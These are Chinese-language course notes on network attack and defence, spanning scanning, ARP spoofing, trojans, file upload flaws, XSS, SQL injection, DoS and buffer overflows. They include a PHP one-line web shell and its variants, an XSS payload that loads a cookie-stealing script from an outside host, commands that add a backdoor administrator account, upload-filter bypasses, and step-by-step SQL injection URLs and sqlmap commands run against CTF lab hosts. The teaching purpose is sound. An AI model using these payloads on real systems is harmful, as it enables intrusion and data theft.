1|0第一章 概论
1.网络安全发展阶段包括四个阶段:通信安全、计算机安全、网络安全、网络空间安全。
2.2017年6月1日,我国第一部全面规范网络空间安全的基础性法律《中华人民共和国网络安全法》正式实施。
3.2021年 6月10日,《中华人民共和国数据安全法》正式发布,9月1日起施行。
4.2021年8月,十三届全国人大常委会第三十次会议表决通过《中华人民共和国个人信息保护法》,于2021年11月1日起实施。
5.2014年每年9月为国家网络安全宣传周
6.网络安全问题起因
内因:
设计缺乏安全考虑
实现有意无意留下bug
默认配置缺乏安全考虑
管理存在弱口令,内部人员无意或恶意操作
外因:
非人为(非故意),自然灾害等
人为(非故意),误操作
人为(故意)
7.几个网络安全基本要素 :
保密性
完整性
可用性
可控性
不可否认性
8.网络安全的特点
系统的安全
动态的安全
无边界的安全
非传统的安全
2|0第二章 网络安全攻击与防护
2|12.1网络安全攻击概述
2|22.2 信息收集
1.信息收集方法
1.技术手段
(1)网络信息挖掘
GoogleHacking:利用google搜索引擎的语法查询
Whois查询:查询已注册域名的所有者信息
指纹识别:识别网站、操作系统等的特征码
CMS 文章系统或整站系统
CMS指纹就是应用程序在html、js、css含的一些特征码
(2)网络扫描技术
2.社会工程学
2|32.3扫描技术
1.主机扫描
利用ICMP进行主机扫描
ping 127.0.0.1 ping不同表明本地TCP/IP不能正常工作
C:\Users\14617>ping www.sicnu.edu.cn
正在 Ping www.sicnu.edu.cn [222.196.238.5] 具有 32 字节的数据:
来自 222.196.238.5 的回复: 字节=32 时间=78ms TTL=61
来自 222.196.238.5 的回复: 字节=32 时间=14ms TTL=61
来自 222.196.238.5 的回复: 字节=32 时间=38ms TTL=61
来自 222.196.238.5 的回复: 字节=32 时间=13ms TTL=61222.196.238.5 的 Ping 统计信息:
数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),
往返行程的估计时间(以毫秒为单位):
最短 = 13ms,最长 = 78ms,平均 = 35ms
2.端口扫描
向目标主机的各个端口发送连接请求,根据返回的响应判断是否开放
TCP connect扫描:使用socket创建套接字,利用三次握手协议来判断目标端口是否存活
优点:实现简单,扫描速度快
缺点:会在logs文件留下出错信息
防护:黑名单机制,如果某个IP多次连接到设备的不同端口,则加入黑名单
SYN扫描:与TCP扫描类似,只是第三步发送RST拒绝连接
优点:比TCP connect扫描隐蔽一些,不会留下扫描痕迹
缺点:扫描需要有root权限
TCP FIN扫描:发送带有FIN标识和端口号的数据包给服务器,通过服务器的反馈情况判断端口号的开放状态
情况 服务器响应 端口状态 1 没有响应 开放 2 RST数据包 关闭 3 ICMP数据包 数据包被过滤
UDP端口扫描:向目标UDP端口发送一些随机数据
服务器响应 端口状态 ICMP端口不可达 关闭 UDP报文 开放 缺点:可靠性不高,需要root权限
3.漏洞扫描
通过远程检测目标主机TCP/IP不同端口的服务,记录目标的回答,从而检验系统是否有可能被攻击奔溃
步骤:探测存活主机=》端口扫描=》判断操作系统=》网络服务扫描=》漏洞特征库匹配探测
4.扫描工具的使用
Nmap、X-Scan、Super Scan
nmap的一些命令
nmap -sP 192.168.230.0/24 扫描C段存活主机
nmap -p- 192.168.230.201 扫描该主机下开放的端口和服务(-p-可省略)
nmap -sV 192.168.230.201 扫描该主机下开放的端口和服务的版本
nmap -p 100-600 192.168.230.201 扫描该主机在100-600端口下开放的端口和服务
nmap -sn 192.168.230.0/24 扫描指定范围内的主机且不进行端口扫描
2|42.4 社会工程学
1.概念
通过对受害者的弱点进行欺骗等危害手段的手法
2.攻击形式
1.收集敏感信息
2.网络钓鱼攻击
3.密码心理学攻击
3.防范措施
1.不要点击通过短信、电子邮件、qq好友发送的连接
2.自己输入网站网址
3.看清网站信息
4.用好qq本身的反钓鱼功能
2|52.5 暴力破解
1.概念
由于服务器端没有做字典,可以通过密码字典进行暴力枚举
2.爆破工具
hydra、Hydra、BruteSpray、burp suite
3.暴力破解防范
1.设置复杂密码
2.验证码认证
3.对尝试登录行为进行判定和限制
4.采用双因素认证
3|0第三章 内网渗透及加固
3|13.1 模拟内网渗透
1.相关流程
\
2.相关net命令
net user 显示用户账号信息
net user hack 123456 /add 添加用户
net user alice /del 删除用户alice
net localgroup 显示本地组
net localgroup administrators hack /add 将hack添加到本地组administrators
net share 显示共享资源
net share c$=c:/grant:hack,full 开启c盘完全共享权限给hack
net share c$ /del删除共享
net share sharename=folderpath /grant:username,permissions
sharename: 要创建的共享名称
username : 可以访问共享该文件夹的用户ID
permission: 访问共享文件夹的权限:Read, Change or Full
3|23.2 主机安全加固
1.漏洞扫描
首先扫描开放端口和服务,获得系统弱口令
然后进行测试:
1.建立非空连接
2.通过NetBIOS获得主机信息
3.telnet远程登录目标机
4.ftp://目标机
2.安全加固
1.弱口令管理
2.关闭不必要的服务
如禁用默认共享,telnet,ftp,NetBIOS服务等
3.关闭不必要的端口
如关闭445端口
4|0第四章 网络嗅探与ARP欺骗
4|14.1网络嗅探
1.网络嗅探概念
主要用于分析网络上的数据包,监视网络流量、状态,数据等信息
是一种被动攻击行为,具有隐蔽性
是一把双刃剑,管理人员可以通过管理工具监视网络状态,数据流程已经网络上的信息传输;黑客常用于获取敏感信息。
2.网路嗅探的原理
1.嗅探前提
(1)网卡设置为混杂模式
(2)同处在一个广播式局域网内
关于网卡的工作模式
一般模式:只接收目的MAC地址为本机的数据包
混杂模式:都接收
关于局域网传输技术
广播式:使用集线器(Hub),将收到的数据包广播放送给局域网内部的所有主机
交换式:使用交换机,将收到的数据包点对点地发送给目标主机
3.嗅探工具
Linux:Wireshark、Netsniff-ng、Msfconsole等
Windows:Wireshark、Sniffer等
4|24.2 共享式网络下嗅探
1.共享式网络下嗅探应用
2.网络嗅探的危害
1.敏感信息泄露
2.被动攻击,难以察觉
3.应对策略
数据加密
使用加密协议
多划分VLAN
交换式网络
4|34.3 交换式网络下的嗅探与ARP欺骗
1.交换式网络嗅探实现
1.交换式嗅探的基本思想:引诱数据包流经嗅探网卡
2.交换式网络嗅探的手段:ARP欺骗、交换机MAC地址表溢出、MAC地址伪造、ICPM重定向
2.ARP欺骗的原理
ARP协议,即地址解析协议,将根据IP地址转换为物理地址
缺陷:当IP地址的物理地址不在ARP缓冲表中时,将广播发送询问该IP地址的物理地址的数据包,并不对返回数据包的真假做出辨别
其基本原理是攻击者利用 ARP 协议的缺陷,发送 ARP 响应报文,把网关对应的 MAC 地址变成欺骗
的 MAC 地址,从而导致网络中断或数据劫持的目的。
1.ARP欺骗攻击:打乱IP=》MAC映射关系
2.ARP欺骗攻击方式:欺骗网关、欺骗主机
ARP欺骗主机-信息不可达
ARP欺骗主机-信息流经攻击者
ARP欺骗主机-信息流经攻击者
3.ARP欺骗实现网络嗅探
1.实现交换式网络下的嗅探
2.实现网页替换
4.ARP欺骗防护
ARP欺骗的原因主要是:ARP协议缺陷和局域网内部
1.使用静态ARP表,禁止自动更新ARP表
arp -d //清空ARP表
arp -s IP MAC //IP/MAC静态绑定
2.安装ARP防火墙或使用ARP监视工具
3.也可以在交换机上设置访问控制,对于所有流经交换机但 IP 地址和 MAC 地址与网关不匹配的情况进行过滤
5|0第五章 木马攻击与防护
5|15.1 木马
1.木马的概念
一种具有C/S结构的,隐蔽的远程控制程序
2.木马的特点
1.欺骗性
2.隐蔽性
3.非授权性
病毒的特点:隐蔽性、传染性、潜伏性、破坏性、繁殖性
木马 病毒 传染性 无 有 破坏性 本身不带 本身具有 目的 非授权访问 破坏程序或系统
3.木马的危害
1.赤裸裸受监视
2.敏感信息机密泄露
3.数据丢失系统破坏
4.成为“肉鸡”,成为跳板
4.木马的种类
功能分类:
远程访问型、键盘记录型、密码发送型、破坏型、代理型、FTP型、下载型
实现技术分类:
DLL型木马、反弹端口型木马
5.木马的发展
第一代 最原始的木马程序
第二代 代表:冰河
第三代 反弹端口(灰鸽子)
第四代 进程隐藏:广电男生
第五代 驱动级木马
第六代 黏虫技术类型和特殊反显技术类型
5|25.2木马攻击与防护
1.木马的攻击过程
1.配置木马
木马伪装:修改图标、捆绑文件、定制端口、自我销毁
信息反馈
2.传播木马
欺骗 途径:QQ、邮箱、下载软件等
主动攻击 途径:获得服务器的文件上传权限,上传木马、网页挂马(iframe标签)
网页木马
3.启动木马
等待主动运行/设置触发条件
4.建立连接
服务器端安装了木&&两端都在线
5.远程控制
2.木马的隐藏技术
基本思想:窗体隐藏+文件隐藏
第一代: Windows 98
第二代: 进程插入 三种方式:注册表插入DLL、Hook插入DLL、远程线程函数插入DLL
3.木马的防护
1.个人木马防治
控制源头:不随意下载或打开来自不信任网站、QQ和邮件上的文件
防护:安装杀毒软件和个人防火墙,并及时升级
2.个人查杀木马
查看有无陌生进程、有无非自身安装的服务、查看注册表
6|0第六章 web木马
6|16.1 Web木马
1.Web木马的概念
用web系统语言(ASP,PHP,JSP等)编写的木马,木马上传服务器当成页面被攻击者攻击,常当作后门。
2.Web木马危害
1.攻击者留后门
2.文件、数据库操作
3.修改web页面
3.Web木马的特点
1.Web木马可大可小
2.无法有效隐藏
3.具有明显的特征值
调用系统的关键函数如:eval,system,fopen,mysql_query
4.必须为可执行的网页格式
4.Web木马的分类
1.一句话木马
//php一句话木马 <?php @eval($_POST['hack']);?>//获得客户端提供的参数并执行 //@eval 执行后面请求到的数据 //$_POST['hack'] 获取客户端提交的数据 hack是密码 /* 变形方法 1.更换执行数据的来源 利用get方式 <?php $GET['a']($_GET['b']);?> a传入执行命令,b传入执行代码,PHP收到GET请求后相当于执行了一个assert函数,并把b作为参数 2.字符替换或特殊编码 3.采用隐匿手段 图片马,404页面 4.混合上述手段 */
2.小马
可为后期上传其他代码做准备
3.大马
文件管理,数据库管理,命令执行,提权
5.Web木马的防护
1.更新防护类工具
2.对服务器文件夹设置严格的读写权限
3.禁用敏感危险函数
4.定期观察系统服务器管理中的服务
5.定期检查是否有可疑进程
6.检查是否近期有可执行文件
7|0第七章 文件上传
7|17.1 文件上传漏洞
1.文件上传概念
文件上传漏洞是一种软件漏洞。是在动态网站或 Web 应用系统中,动态脚本对用户文件上传部分控制不足或者处理缺陷,而导致的用户可以越过其本身权限向服务器上传可执行的动态脚本文件,如:木马,病毒,恶意脚本或者 WebShell 等,进而危害服务器安全的软件漏洞。
2.文件上传漏洞的危害
1.非授权用户的越权访问
2.信息泄露
3.种下后门webshell
3.文件上传的条件
1.文件能上传到服务器
(1)web系统本身具有文件上传功能
(2)程序未对用户上传的文件进行合法的检验
2.文件能被当成脚本文件执行
(1)上传文件的后最应是可执行格式
(2)存放上传文件的目录具有可执行的权限
3.能找到上传后的文件路径即文件名
4.目标文件可被访问
4.文件上传的防护
综体思想:确保上传文件不会被服务器解析成可执行的脚本,进而引发偏离功能设计以为的后果
1.不能上传:加强文件合法性检测
客户端验证:javascript对扩展名检测
服务端验证:MIME检测(文件头Content-type检测)、扩展名检测(黑名单/白名单)、文件头内容校验
2.不能被执行:阻止上传文件执行
使用代理页面隐藏真实路径,使用户找不到文件
对上传文件在服务器上的存储时进行重命名
5.文件上传漏洞原因
1.文件过滤不严或被绕过
2.文件解析漏洞导致文件被执行
3.文件路径截断
4.服务器配置不当及系统特性
6.文件上传漏洞利用
1.javascript对扩展名检测绕过
(1)禁用浏览器JavaScript脚本执行
(2)抓包修改文件后缀名
2.服务器端MIME检测绕过
在HTTP协议中,会利用Content-type标识本次上传的内容类型
常见Content-type
text/html (html文档) text/plain(纯文本) text/css text/JavaScript image/jpeg image/png image/gif
3.服务器端扩展名检测绕过
黑名单过滤,白名单过滤
(1)抓包改包,修改文件后缀名
(2)Apache文件解析缺陷,添加不合法后缀
Apache1.x 2.x版本中,对文件名后缀从后往前绕过,比如1.php.zzz.abc会解析成为1.php
IIS6.0 服务队分号后面的扩展名不去解析,比如x.asp;.jpg会被解析成为x.asp
(3)文件路径截断
利用一些特殊字符\0,0x00被认为是中止符,使得服务器解析文件时候,文件名或文件路径会从\0处截断,从而控制文件名或文件路径,最终绕过文件后缀判断
例如 原本只允许上传JPG文件,可以构造文件名为xxx.php[\0].jpg,服务器解析时从\0截断,被成功解析成为xxx.php文件
(4)文件头内容校验绕过
getimagesize()函数进行验证
绕过方式:构造图片马
8|0第八章 XSS跨站脚本攻击
8|18.1 XSS跨站脚本攻击
1.XSS的概念
XSS 攻击通常指的是利用网页开发时留下的漏洞,注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和 cookie 等各种内容。
xss是Cross Site Script的缩写,XSS攻击是一种客户端访问嵌入有恶意脚本代码的web页面,从而盗取信息利用身份等的一种攻击行为。
XSS漏洞是最广放,作用最关键的web安全漏洞之一。在大多数网络攻击中漏洞链的第一环,通过XSS,黑客可以得到的最直接的利益就说拿到用户浏览器的cookie,从而变相盗取用户的账号密码,进而非授权的获取关键的隐私信息。
1.xss的传播性极强,由于web的特点是轻量级,灵活性高,每个用户每天可以访问很多web站点,每个web站点都有成千上万的来访
2.xss配合一些系统内核级的漏洞,完全可能在几小时之内击垮几百万台智能设备
2.XSS的危害
1.盗取信息
2.控制企业数据
3.强制进行非法转账
4.强制发送电子邮件
5.网站挂马
6.控制受害者机器向其他网站发起攻击
3.XSS漏洞的攻击本质
1.恶意代码未经过滤,与网站正常代码混在一起
2.浏览器无法分辨哪些脚本是可信的,导致恶意脚本被执行
4.xss攻击过程
5.XSS攻击特点
1.间接攻击
最终目标是终端用户
2.可更正性
对用户输入的过滤不足
3.传播性强
攻击代码注入到目标网站,每个web站点每天有成千上万的访客
8|28.2 XSS攻击与防护
1.XSS分类
1.存储型xss
持久性,通过发表带有恶意跨站脚本的帖子,把恶意脚本存储在服务器中,每个访问该帖子的人都会除法该恶意脚本
2.反射型xss
非持久性,攻击者事先制作好攻击链接,将攻击脚本嵌入到某个URL链接中,诱骗用户自己取点击链接,从而触发代码执行
3.DOM型xss
基于DOM文档对象模型的操作,通过前端脚本修改页面的DOM节点形成的XSS,该操作不与服务器进行交互,而代码是可见的,从前端获取到DOM中的数据在本地执行
只在客服端进行解析,不需要服务器解析响应
2.攻击过程
1.存储型
2.反射型
3.DOM型
三者区别
存储区 | 插入点 | |
---|---|---|
存储型 | 服务器数据库 | HTML |
反射型 | URL | HTML |
DOM型 | 前端存储 | 前端JavaScript |
3.攻击实例
1.盗取cookie
<sCRipt sRC=http://xss8.cc/tvW7></sCrIpT>
2.存储型 实现网站跳转
<script>location.href='http://127/0/0/1/xss.html'</script>
4.XSS攻击防范
1.攻击者提交恶意代码
输入过滤 Str_replace()替换函数 Preg_replace()执行正则表达式的搜索和替换 Strtolower()转换为小写字符 Trim()消除空格 Stripslashes()消除反斜杠
对HTML做充分转义 把& < > /这几个字符转义掉 htmlspecialchars() 将< > zuanhuan
9|0第九章 SQL注入
9|19.1 sql注入攻击
1.sql注入概念
攻击者把sql命令插入到web表单的输入域或页面请求的查询字符串,并且插入的恶意sql命令导致原有sql语句的作用发生改变,从而得到欺骗服务器执行恶意sql命令的一种攻击方式
2.sql注入的条件
1.用户能够控制输入的参数,前端传给后端的参数内容是用户可以控制的
2.用户输入的参数拼接到sql语句,且带入数据库查询,成为了要执行的代码
3.sql注入原理
4.sql注入规范
根本原因:过滤不严
安全设计原则:数据与代码分离
9|29.2 sql注入攻击
1.sql注入流程
(1)判断web使用脚本语言,发现注入点,并确定是否存在sql注入
(2)判断web系统数据库类型
(3)判断数据库中判断表及相应字段的结构
(4)构造注入语句,得到表中内容
(5)查询网站后台,得到管理员账号密码
(6)结合其他漏洞,上传webshell
(7)进一步提权
查找注入点=》查库名=》查表名=》查字段名=》查重点数据
2.sql注入分类
1.回显注入
mysql数据库的系统表
如果id = 1 and 1=1、id = 1 and 1=2的结果与id = 1一样则为字符型
如果id = 1 and 1=1结果与id = 1一样,id = 1 and 1=2结果异常则为整型为什么会出现字符型的返回均为正常呢?
大概率是因为对于字符型的解析问题,当前面的字符有结果后就不会执行后面
这里感谢rygg的耐心教学
--1.寻找注入点 http://ctf.seek2.top:41026/result.php?id=1'--如果报错说明存在注入点 http://ctf.seek2.top:41026/result.php?id=1'or 1=2--前者条件为假,后者条件为假 http://ctf.seek2.top:41026/result.php?id=1'or 1=1--前者条件为假,后者条件为真,返回应该为真,与上一条返回不一致说明存在---sql注入 --如果需要单引号闭合,则最后要加上#或者--+或者%23 --例如http://ctf.seek2.top:41026/result.php?id=1' order by 4 --+ --2.确定字段数order by http://ctf.seek2.top:41026/result.php?id=1 order by 4--返回真 http://ctf.seek2.top:41026/result.php?id=1 order by 5--返回报错 --由上确定字段数为4 http://ctf.seek2.top:41026/result.php?id=1 union select 1,2,3,4--找出回显字段对应关系 --3.依次爆:库-表-列 http://ctf.seek2.top:41026/result.php?id=1 union select database(),version(),3,4--爆数据库名和版本 http://ctf.seek2.top:41026/result.php?id=1 union select group_concat(table_name),2,3,4 from information_schema.tables where table_schema=database()--爆表名 http://ctf.seek2.top:41026/result.php?id=1 union select group_concat(column_name),2,3,4 from information_schema.columns where table_name='union_injection'--爆列名 http://ctf.seek2.top:41026/result.php?id=1 union select group_concat(flag),2,3,4 from union_injection--爆字段
2.盲注 只有两种回显结果,没有数据库有效信息
分类1.布尔盲注2.时间盲注3.报错盲注
--布尔盲注 --1.寻找注入点 --与上述相同 --2.依次爆:库-表-列 http://ctf.seek2.top:41035/result.php?id=221101 and length(database()) = 5 --true 确定库名长度为5 http://ctf.seek2.top:41035/result.php?id=221101 and substr(database(),1,1) ='C' http://ctf.seek2.top:41035/result.php?id=221101 and substr(database(),2,1) ='S' --依次猜测第一二个字符为C,S 最后确定数据库名为CSSEC http://ctf.seek2.top:41035/result.php?id=221101 and substr((select table_name from information_schema.tables where table_schema='CSSEC' limit 0,1),1,1) ='a' --如果返回true 爆出CSSES的第一个表的第一个字符为a --依次爆出表名和字段名
--时间盲注利用sleep()或benchmark()等函数让MYSQL的执行时间变长 if(expr1,expr2,expr3)--等价于三目运算符expr1?expr2:expr3 --1.寻找注入点 --与上述相同 --2.依次爆:库-表-列 http://ctf.seek2.top:41038/result.php?id=221101 and if(length(database())=5,sleep(3),sleep(0)) --3秒后刷新表示数据库名长度为5 http://ctf.seek2.top:41038/result.php?id=221101 and if(substr(database(),1,1)='w',sleep(3),sleep(0)) --3秒后刷新表示数据库名第一位是w
--报错注入 Spath报错 updatexml(XML_document中符合XPath_string的值,XPath_string,new_value):用new_value替换XML_document中符合XPath_string的值 --1.寻找注入点 --与上述相同 --2.依次爆:库-表-列 http://ctf.seek2.top:41041/result.php?id=221101' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+ //XPATH syntax error: '~CSSEC~' http://ctf.seek2.top:41041/result.php?id=221101' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+ //XPATH syntax error: '~error_injection,member,platform' http://ctf.seek2.top:41041/result.php?id=221101' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='error_injection'),0x7e),1)--+ //XPATH syntax error: '~flag~' http://ctf.seek2.top:41041/result.php?id=221101' and updatexml(1,concat(0x7e,(select group_concat(flag) from error_injection),0x7e),1)--+
3.sql注入攻击的防护
sql注入思想:数据与代码分离
4.sql注入防护方法
1.参数类型限制
类型判定函数
参数常数限制
2.危险参数过滤
黑名单过滤 针对参数中的敏感字符进行过滤 如:union \ ' select
白名单过滤
参数转义 ?mysqli_real_escape_string($GLOBALS["__mysqli_ston"]),sid):
3.预编译处理
预编译语句,绑定变量
9|39.3 sqlmap使用
//get型注入 python sqlmap.py -u https://ctf.seek2.top:4105 //判断是否存在注入 python sqlmap.py -u https://ctf.seek2.top:4105 --dbs //查库名 python sqlmap.py -u http://ctf.seek2.top:41054/result.php?id=221101 --tables -D CSSEC//查表名 python sqlmap.py -u http://ctf.seek2.top:41054/result.php?id=221101 --columns -D CSSEC -T union_injection//查列名 //post注入 python sqlmap.py -r 1.txt //判断是否存在注入,其余操作一致 --cookie //cookie注入
10|0第十章 DOS攻击与防御
10|110.1 DOS攻击与防御
1.DOS攻击概念
Denial of Service 拒绝服务攻击
通常是利用传输协议中的某个弱点或服务器存在的漏洞,对目标系统发起大规模的攻击,使其无法处理合法用户的正常请求
原因:内因:网络协议的安全缺陷,外因:利益驱使的蓄意行为/偶然的
2.DOS攻击原理
利用合理的请求占用过多的服务资源,使得服务超载,无法响应正常服务请求
服务器资源:网络带宽、文件系统空间容量、开放的进程、允许的连接
3.DOS攻击方法
1.耗尽计算机资源,如贷款、内存、磁盘空间、处理器时间等
2.破坏配置信息,如路由信息
3.破坏状态信息,如TCP连接中断
4.破坏网络硬件
5.破坏通信介质,阻挡正常通信
10|210.2 DOS攻击技术
1.SYN Flood
1.SYN Flood是一种利用TCP协议缺陷,发送大量伪造的TCP连接请求,使被攻击方资源耗尽的攻击方式
2.两种攻击方式:阻断应答、伪装不在线的IP地址(可以随机生成IP地址)
3.防御:缩短SYN Timeout时间、设置SYN Cookie、设置半开连接数量
2.ICMP Flood
1.Smurf Flood即利用网络设备,伪造源IP地址,发送广播包,所有其他设备收到广播包后,返回ICMP数据包给该IP地址的主机(即被攻击机)
防御:配置路由器禁止IP广播包进网
2.Death of Ping
死亡之PING,发送一些尺寸超大的ICMP包
防御:禁止ICMP报文通过网络全安设备
3.Land 攻击
Local Area Network Denial Attack 局域网拒绝服务攻击
方式:发送具有相同源地址和目的地址的欺骗数据包
防御:防火墙拦截具有相同源地址和目的地址的欺骗数据包,操作系统修复漏洞,配置路由器
4.TearDrop攻击
Teardrop攻击是一种拒绝服务攻击,是一种针对IP协议的攻击方法,它利用发送畸形数据包的方式,实现原理是向目标主机发送异常的数据包碎片,使得IP数据包碎片在重组的过程中有重合的部分,从而导致目标系统无法对其进行重组,进一步导致系统崩溃而停止服务的恶性攻击。
防御:添加系统补丁、丢弃收到的病态分片数据包并对这种攻击进行审计
10|310.3 DDOS攻击
1.概念
Distributed Denial of Service 分布式拒绝服务攻击
利用合理的请求造成资源过载,导致服务不可用的一种攻击,是一种分布式、协同的大规模攻击方式
特点:利用若干个网络节点同时向目标发起攻击
2.攻击层次
分为攻击者、主控端、代理端
3.DDoS攻击的防御
1.抗DDOS产品:综合使用各种算法,结合攻击特征,流量清洗
2.抗DDOS的网络设备:串联或并联在网络出口处
4.CC攻击
1.概念及原理
Challenge Collapsar挑战黑洞
对一些资源消耗较大的应用页面不断发起正常请求,以达到造成消耗服务器端资源的目的
网络层DDOS攻击 | CC攻击 | |
---|---|---|
攻击对象 | 网站的服务器 | 网站的网页 |
攻击层次 | 网络层 | 应用层 |
2.CC攻击防范
1.优化服务器性能
应用代码性能优化、网络架构优化
2.限制请求频率
通过IP地址和Cookie定位一个客服端,针对过频繁访问,采取重定向页面
3.验证码机制
有效组织自动化重放攻击的有效行为之一
11|0第十一章 缓冲区溢出
11|111.1缓冲区溢出的攻击和保护
1.概念
缓冲出溢出是一种可更正性缺陷,向程序缓冲区写入超长内容,覆盖其他空间数据,宠儿破坏程序堆栈,照成程序崩溃或转而执行其他指令
缓冲区溢出是指程序运行时,向固定大小的缓冲区写入超过其容量的数据,多余的数据会越过缓冲区的边界覆盖相邻内存空间,从而造成溢出。一般情况下,缓冲区的大小是由用户输入的数据决定的,如果程序不对用户输入的超长数据进行长度检查,同时用户又对程序进行了非法操作或者错误输入,就会造成缓冲区溢出。
2.缓冲区溢出危害
1.程序崩溃
2.程序跳斩并执行恶意代码
3.缓冲区溢出原理
根本原因:对用户输入越界不保护
如:c语言种strcat(),strcpy()等函数
4.缓冲区溢出过程
5.缓冲区溢出防御
缓冲区溢出攻击条件:造成受害者的服务拒绝、提升权限
缓冲区溢出条件:shellcode载入、程序跳转到shellcode的地址
1.程序设计过程种
对于软件开发者:使用跟安全的函数
gets() vs fgets()
strcpy() vs strncpy()
sprint() vs snprint()
编译器的边界检查功能
2.对于个人用户
关闭不需要的特权程序
升级系统补丁
降低CMS权限